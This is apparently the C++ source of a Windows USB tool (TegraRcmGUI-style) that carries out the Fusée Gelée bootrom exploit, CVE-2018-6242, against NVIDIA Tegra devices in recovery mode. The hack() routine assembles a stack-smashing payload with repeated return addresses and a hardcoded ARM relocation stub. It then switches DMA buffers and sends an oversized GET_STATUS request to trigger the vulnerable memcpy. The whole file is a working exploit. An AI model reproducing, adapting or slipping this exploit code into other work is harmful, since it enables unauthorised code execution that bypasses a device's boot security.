/*
* Copyright (c) 2020 eliboa
* Copyright (c) 2018 ktemkin
*
* This program is free software; you can redistribute it and/or modify it
* under the terms and conditions of the GNU General Public License,
* version 2, as published by the Free Software Foundation.
*
* This program is distributed in the hope it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see .
*/
#include "rcm_device.h"
#include
#include
#include
using namespace std;
RcmDevice::RcmDevice()
{
m_currentBuffer = 0;
m_usbAPI_loaded = false;
m_devIsInitialized = false;
m_devStatus = DISCONNECTED;
}
RcmDevice::~RcmDevice()
{
if (m_devList != nullptr)
LstK_Free(m_devList);
if (m_usbAPI_loaded)
m_usbApi.Free(m_usbHandle);
}
bool RcmDevice::initDevice(KLST_DEVINFO_HANDLE deviceInfo)
{
auto error = [&](DWORD err_code){
SetLastError(err_code);
return false;
};
// Load driver API
if (!m_usbAPI_loaded)
{
LibK_LoadDriverAPI(&m_usbApi, KUSB_DRVID_LIBUSBK);
m_usbAPI_loaded = true;
}
if (deviceInfo != nullptr && (deviceInfo->Common.Vid != RCM_VID && deviceInfo->Common.Pid != RCM_PID))
return error(WRONG_DEVICE_VID_PID);
KLST_DEVINFO_HANDLE tmp_devInfo = deviceInfo != nullptr ? deviceInfo : m_devInfo;
if(tmp_devInfo == nullptr && !getPluggedDevice(&tmp_devInfo))
return error(DEVICE_NOT_FOUND);
// New device already initialized & connected, return ready state (no need to load anything else)
if (m_devInfo != nullptr && m_devStatus == CONNECTED && m_devInfo->DeviceID == tmp_devInfo->DeviceID)
return deviceIsReady() ? true : error(DEVICE_NOT_READY);
// Init device
m_devInfo = tmp_devInfo;
m_devIsInitialized = false;
if (m_devInfo->DriverID != KUSB_DRVID_LIBUSBK)
return error(MISSING_LIBUSBK_DRIVER);
// Init USB handle
m_usbApi.Free(m_usbHandle); // Free previous usb handle
if (!m_usbApi.Init(&m_usbHandle, m_devInfo))
return error(DEVICE_HANDLE_FAILED);
// Verify libusbk version
libusbk::libusb_request req;
memset(&req, 0, sizeof(req));
int res = Ioctl(libusbk::LIBUSB_IOCTL_GET_VERSION, &req, sizeof(req), &req, sizeof(req));
if (res <= 0)
return error(DEVICE_HANDLE_FAILED);
libusbk::version_t usbkVersion = req.version;
if (usbkVersion.major != 3 || usbkVersion.minor != 0 || usbkVersion.micro != 7)
return error(LIBUSBK_WRONG_DRIVER);
m_devIsInitialized = true;
m_devStatus = CONNECTED;
// Set pipes timeout policy
u32 pipe_timeout = 2500; //ms
m_usbApi.SetPipePolicy(m_usbHandle, READ_PIPE_ID, PIPE_TRANSFER_TIMEOUT, sizeof(u32), &pipe_timeout);
m_usbApi.SetPipePolicy(m_usbHandle, WRITE_PIPE_ID, PIPE_TRANSFER_TIMEOUT, sizeof(u32), &pipe_timeout);
// Device is initialized, return ready state
return deviceIsReady() ? true : error(DEVICE_NOT_READY);
}
// This function returns true if device is ready to receive RCM commands.
// It doesn't mean the device is eXploitable !
bool RcmDevice::deviceIsReady()
{
if (!m_devIsInitialized || m_devStatus != CONNECTED)
return false;
// Generate a GET_STATUS request
u16 trash = 0; // GET_STATUS returns 2 bytes
libusbk::libusb_request req;
memset(&req, 0, sizeof(req));
req.timeout= 500;
req.status.index = 0;
req.status.recipient = 0x02;
int res = Ioctl(libusbk::LIBUSB_IOCTL_GET_STATUS, &req, sizeof(req), &trash, sizeof(u16));
if (res < 0) // If device's stack is already smashed, res = -141 (timeout)
return false;
else
return true;
}
int RcmDevice::read(u8* buffer, size_t bufferSize)
{
u32 bytesRead;
if (!m_usbApi.ReadPipe(m_usbHandle, READ_PIPE_ID, buffer, bufferSize, &bytesRead, nullptr))
return -int(GetLastError());
return int(bytesRead);
}
int RcmDevice::write(const u8* buffer, size_t bufferSize)
{
size_t bytesRemaining = bufferSize;
size_t bytesWritten = 0;
while (bytesRemaining > 0)
{
const u32 bytesToWrite = (bytesRemaining < PACKET_SIZE) ? bytesRemaining : PACKET_SIZE;
m_currentBuffer = (m_currentBuffer == 0) ? 1u : 0u;
u32 bytesTransfered = 0;
if(!m_usbApi.WritePipe(m_usbHandle, WRITE_PIPE_ID, (u8*)&buffer[bytesWritten], bytesToWrite, &bytesTransfered, nullptr))
return -int(GetLastError());
bytesWritten += bytesTransfered;
bytesRemaining -= bytesTransfered;
}
return int(bytesWritten);
}
/*
* Fusée Gelée eXploit
* -------------------
* Vulnerability : CVE-2018-6242
* Author / Reporter : Katherine Temkin (@ktemkin)
* Affiliation : ReSwitched
* Disclosure : public disclosure planned for June 15th, 2018 ^^
* Credits : @Qyriad for fusée launcher
* @rajkosto for the Windows reimplementation (TegraRcmSmash)
*
*/
const byte BUILTIN_INTERMEZZO[] =
{
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
};
RRESULT RcmDevice::hack(u8 *payload_buff, u32 buff_size)
{
if (!m_devIsInitialized)
return DEVICE_NOT_SET;
else if (m_devStatus != CONNECTED)
return DEVICE_DISCONNECTED;
else if (!deviceIsReady())
return DEVICE_NOT_READY;
if (buff_size > PAYLOAD_MAX_SIZE)
return PAYLOAD_TOO_LARGE;
m_currentBuffer = 0;
// Read device's id first.
vector deviceId(0x10, 0);
if (read(&deviceId[0], 0x10) != int(deviceId.size()))
return DEVICE_NOT_READY;
// Inits
std::vector payload; // Full payload (relocator + user payload)
size_t currOffset = 0; // Payload current offset
constexpr u32 RCM_PAYLOAD_ADDR = 0x40010000; // The address where the RCM payload is placed
constexpr u32 INTERMEZZO_LOCATION = 0x4001F000;
constexpr u32 PAYLOAD_LOAD_BLOCK = 0x40020000;
constexpr size_t PAYLOAD_TOTAL_MAX_SIZE = 0x30000;
/// Prefix the image with an RCM command, so it winds up loaded into memory at the right location (RCM_PAYLOAD_ADDR).
// Use the maximum length accepted by RCM, so we can transmit as much payload as we want.
// We'll take over before we get to the end.
const u32 length = 0x30298;
payload.resize(sizeof(length));
memcpy(&payload[currOffset], &length, sizeof(length));
payload.resize(680, 0); // Pad out to 680 so the payload starts at the right address in IRAM
currOffset = payload.size();
// Populate from [RCM_PAYLOAD_ADDR, INTERMEZZO_LOCATION) with the payload address.
// We'll use this data to smash the stack when we execute the vulnerable memcpy.
payload.resize(payload.size() + INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDR);
while (currOffset < payload.size())
{
const u32 data = INTERMEZZO_LOCATION;
memcpy(&payload[currOffset], &data, sizeof(INTERMEZZO_LOCATION));
currOffset += sizeof(INTERMEZZO_LOCATION);
}
// Include the builtin intermezzo in the command stream. This is our first-stage
// payload, and it's responsible for relocating the final payload to RCM_PAYLOAD_ADDR
payload.resize(payload.size() + sizeof(BUILTIN_INTERMEZZO));
memcpy(&payload[currOffset], BUILTIN_INTERMEZZO, sizeof(BUILTIN_INTERMEZZO));
currOffset += sizeof(BUILTIN_INTERMEZZO);
// Finally, pad until we've reached the position we need to put the payload.
// This ensures the payload winds up at the location Intermezzo expects.
const auto paddingSize = PAYLOAD_LOAD_BLOCK - INTERMEZZO_LOCATION + sizeof(BUILTIN_INTERMEZZO);
payload.resize(payload.size() + paddingSize, 0);
currOffset += paddingSize;
// Include the user payload in the command stream
payload.resize(payload.size() + buff_size);
memcpy(&payload[currOffset], &payload_buff[0], buff_size);
currOffset += buff_size;
// Pad the payload to fill a USB request exactly, so we don't send a short
// packet and break out of the RCM loop
if (payload.size() < PAYLOAD_TOTAL_MAX_SIZE)
payload.resize(align_up(payload.size(), PACKET_SIZE), 0);
else
payload.resize(PAYLOAD_TOTAL_MAX_SIZE);
// Send the constructed payload, which contains the command, the stack smashing values,
// the Intermezzo relocation stub, and the user payload.
int bytesWritten = write(&payload[0], payload.size());
if (bytesWritten < int(payload.size()))
return USB_WRITE_FAILED;
// The RCM backend alternates between two different DMA buffers. Ensure we're about to DMA
// into the higher one, so we have less to copy during our attack.
// Warning! If device reboot to RCM, resetCurrentBuffer() must be called otherwise we'll swith to lower buffer instead
int sres = switchToHighBuffer();
if (sres != 0 && (sres < 0 || sres != PACKET_SIZE))
return SW_HIGHBUFF_FAILED;
// Finally, to trigger the memcpy vulnerability itself, we need to send a
// long length "GET_STATUS" request to the endpoint
auto stLength = RCM_PAYLOAD_ADDR - getCurrentBufferAddress();
std::vector threshBuf(stLength, 0);
libusbk::libusb_request req;
memset(&req, 0, sizeof(req));
req.timeout= 1000;
req.status.index = 0;
req.status.recipient = 0x02;
// Request device
int res = Ioctl(libusbk::LIBUSB_IOCTL_GET_STATUS, &req, sizeof(req), &threshBuf[0], threshBuf.size());
// If stack is smashed, the request will timeout
// If the device is an ipatched unit or Mariko+, the request will likely return 0 (or < 0)
if (res <= 0 && -res != ERROR_SEM_TIMEOUT)
return STACK_SMASH_FAILED;
else
return SUCCESS;
}
RRESULT RcmDevice::hack(const char* user_payload_path)
{
ifstream userPayload(user_payload_path, ios::in | ios::binary | ios::ate);
if (!userPayload.is_open())
return OPEN_FILE_FAILED;
const auto userPayloadSize = int(userPayload.tellg());
if (userPayloadSize > PAYLOAD_MAX_SIZE)
return PAYLOAD_TOO_LARGE;
userPayload.seekg(0, ios::beg);
char *userPayloadBuffer = new char[userPayloadSize];
userPayload.read(&userPayloadBuffer[0], userPayloadSize);
bool error = !(userPayload) || int(userPayload.tellg()) != userPayloadSize;
userPayload.close();
if (error)
{
delete[] userPayloadBuffer;
return OPEN_FILE_FAILED;
}
RRESULT res = hack((u8*)userPayloadBuffer, (u32)userPayloadSize);
delete[] userPayloadBuffer;
return res;
}
////////////////////////////////////////////
///// PRIVATE METHODS /////
////////////////////////////////////////////
// Find a plugged USB device matching Tegra RCM pID and vID.
bool RcmDevice::getPluggedDevice(KLST_DEVINFO_HANDLE *devinfo)
{
if (m_devList != nullptr)
LstK_Free(m_devList);
u32 devCount = 0;
if (!LstK_Init(&m_devList, KLST_FLAG_NONE))
return false;
LstK_Count(m_devList, &devCount);
if (devCount == 0 || !LstK_FindByVidPid(m_devList, RCM_VID, RCM_PID, devinfo))
return false;
if (devinfo == nullptr)
return false;
return true;
}
// Send an IOCTL request to USB endpoint
int RcmDevice::Ioctl(DWORD ioctlCode, const void* inputBytes, size_t numInputBytes, void* outputBytes, size_t numOutputBytes)
{
HANDLE driverHandle = INVALID_HANDLE_VALUE;
if (!libusbk_getInternals(m_usbHandle, &driverHandle) || driverHandle == nullptr || driverHandle == INVALID_HANDLE_VALUE)
return -int(DEVICE_HANDLE_FAILED);
WinHandle ev = CreateEvent(nullptr, true, false, nullptr);
if (ev.get() == nullptr || ev.get() == INVALID_HANDLE_VALUE)
return -int(DEVICE_HANDLE_FAILED);
OVERLAPPED overlapped;
memset(&overlapped, 0, sizeof(overlapped));
if (!DeviceIoControl(driverHandle, ioctlCode, (LPVOID)inputBytes, (DWORD)numInputBytes, (LPVOID)outputBytes, (DWORD)numOutputBytes, nullptr, &overlapped))
{
auto err = GetLastError();
if (err != ERROR_IO_PENDING)
return -int(err);
}
DWORD bytesReceived = 0;
if (!GetOverlappedResult(driverHandle, &overlapped, &bytesReceived, true))
return -int(GetLastError());
return int(bytesReceived);
}
// Switch to higher DMA buffer
int RcmDevice::switchToHighBuffer()
{
if (m_currentBuffer == 0)
{
u8 tempZeroDatas[PACKET_SIZE];
memset(tempZeroDatas, 0, sizeof(tempZeroDatas));
const auto writeRes = write(tempZeroDatas, sizeof(tempZeroDatas));
return writeRes;
}
else return 0;
}